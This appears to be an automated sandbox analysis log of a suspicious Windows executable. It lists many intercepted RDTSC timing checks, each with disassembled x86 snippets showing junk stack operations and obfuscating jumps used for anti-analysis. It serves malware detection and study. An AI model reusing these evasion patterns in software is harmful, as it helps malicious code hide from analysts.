Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE4F36 second address: EE4F71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F5060CC42CCh 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F5060CC42CFh 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE4F71 second address: EE4F96 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007F5060E412ECh 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007F5060E412E8h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE50CB second address: EE50D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE50D0 second address: EE50D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE51B9 second address: EE51BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE51BF second address: EE51DC instructions: 0x00000000 rdtsc 0x00000002 je 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnc 00007F5060E412ECh 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE51DC second address: EE5214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F5060CC42D6h 0x00000012 jmp 00007F5060CC42D4h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9F9F second address: EE9FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE8CD3 second address: EE8CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE96C5 second address: EE96DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F5060E412EDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9815 second address: EE9819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9819 second address: EE9853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5060E412E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e jnp 00007F5060E41300h 0x00000014 jp 00007F5060E412E6h 0x0000001a jmp 00007F5060E412F4h 0x0000001f jno 00007F5060E412E8h 0x00000025 push eax 0x00000026 push edx 0x00000027 push esi 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9853 second address: EE985D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5060CC42C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE985D second address: EE9871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F5060E412E6h 0x0000000e je 00007F5060E412E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE99B6 second address: EE99BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9B14 second address: EE9B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9B2C second address: EE9B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9CB4 second address: EE9CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5060E412F7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EE9CD1 second address: EE9CF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F5060CC42C6h 0x00000009 jmp 00007F5060CC42CEh 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 push esi 0x00000013 js 00007F5060CC42C6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EEFB04 second address: EEFB08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF4D82 second address: EF4D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BBD second address: EF3BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BC3 second address: EF3BCD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5060CC42C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BCD second address: EF3BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F5060E412E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BDC second address: EF3BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BE2 second address: EF3BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3BE7 second address: EF3C06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3C06 second address: EF3C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF3C0A second address: EF3C0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF40D0 second address: EF40F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5060E412E8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F5060E412F1h 0x00000015 push eax 0x00000016 push edx 0x00000017 jng 00007F5060E412E6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF4259 second address: EF425D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF425D second address: EF4267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF4629 second address: EF462F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF8D81 second address: EF8D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F5060E412E6h 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF8D91 second address: EF8DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5060CC42D5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF8DAF second address: EF8DCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a pop eax 0x0000000b jc 00007F5060E412E6h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 jg 00007F5060E412E6h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC342F second address: EC3473 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5060CC42C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movsx ecx, ax 0x00000010 lea eax, dword ptr [ebp+1247E180h] 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F5060CC42C8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D25AEh], eax 0x00000036 push eax 0x00000037 push edi 0x00000038 push eax 0x00000039 push edx 0x0000003a js 00007F5060CC42C6h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3538 second address: EC355D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F5060E412E6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F5060E412EEh 0x00000013 pushad 0x00000014 jp 00007F5060E412E6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3A06 second address: EC3A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3A0A second address: EC3A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3ABE second address: EC3AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5060CC42CEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3AE5 second address: EC3AF7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F5060E412E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3AF7 second address: EC3AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3AFB second address: EC3B1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F5060E412F3h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3B1E second address: EC3B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3B23 second address: EC3B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5060E412EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3B36 second address: EC3B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3B4A second address: EC3B67 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5060E412E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007F5060E412ECh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3B67 second address: EC3B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a movzx edi, di 0x0000000d push 6FE59AF2h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3C9B second address: EC3C9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3C9F second address: EC3CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3CA5 second address: EC3CAA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3F4F second address: EC3FFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5060CC42D9h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edi 0x0000000f jno 00007F5060CC42DDh 0x00000015 pop edi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F5060CC42C8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push eax 0x00000032 mov edx, dword ptr [ebp+122D2DC2h] 0x00000038 pop ecx 0x00000039 push 00000004h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007F5060CC42C8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 jc 00007F5060CC42DBh 0x0000005b call 00007F5060CC42CFh 0x00000060 and di, 9159h 0x00000065 pop ecx 0x00000066 mov dx, cx 0x00000069 nop 0x0000006a pushad 0x0000006b push ecx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC3FFD second address: EC4006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC43A6 second address: EC43C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5060CC42D9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC43C8 second address: EC43CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC43CE second address: EC43D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC44D8 second address: EC44EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC4760 second address: EC4765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EC4765 second address: EC476A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EA6513 second address: EA651D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EA651D second address: EA652D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060E412ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EA652D second address: EA6531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF91F0 second address: EF91FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF91FB second address: EF91FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF91FF second address: EF9228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F3h 0x00000007 jmp 00007F5060E412F2h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF9228 second address: EF922D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF922D second address: EF9233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EF99C5 second address: EF99F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F5060CC42DEh 0x0000000b jmp 00007F5060CC42D8h 0x00000010 jc 00007F5060CC42CEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFF2A5 second address: EFF2AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5060E412E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFDD2A second address: EFDD50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5060CC42D9h 0x00000009 pushad 0x0000000a jng 00007F5060CC42C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFDEA3 second address: EFDEA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFDEA7 second address: EFDEAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFDEAD second address: EFDEB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFE2E1 second address: EFE2F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5060CC42CBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: EFE71D second address: EFE723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F03C16 second address: F03C62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F5060CC42CEh 0x0000000f jmp 00007F5060CC42D0h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5060CC42D8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F06553 second address: F06582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5060E412F4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0689D second address: F068AA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5060CC42C8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F068AA second address: F068D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F5060E412EEh 0x0000000f jmp 00007F5060E412F4h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F068D5 second address: F068E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F5060CC42C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0A71C second address: F0A722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0A722 second address: F0A726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0A9C0 second address: F0A9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0A9C4 second address: F0A9DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060CC42D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0A9DD second address: F0A9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0ACF6 second address: F0ACFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XYQ1pqHNiT.exe	RDTSC instruction interceptor: First address: F0ACFA second address: F0AD14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5060E412F6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
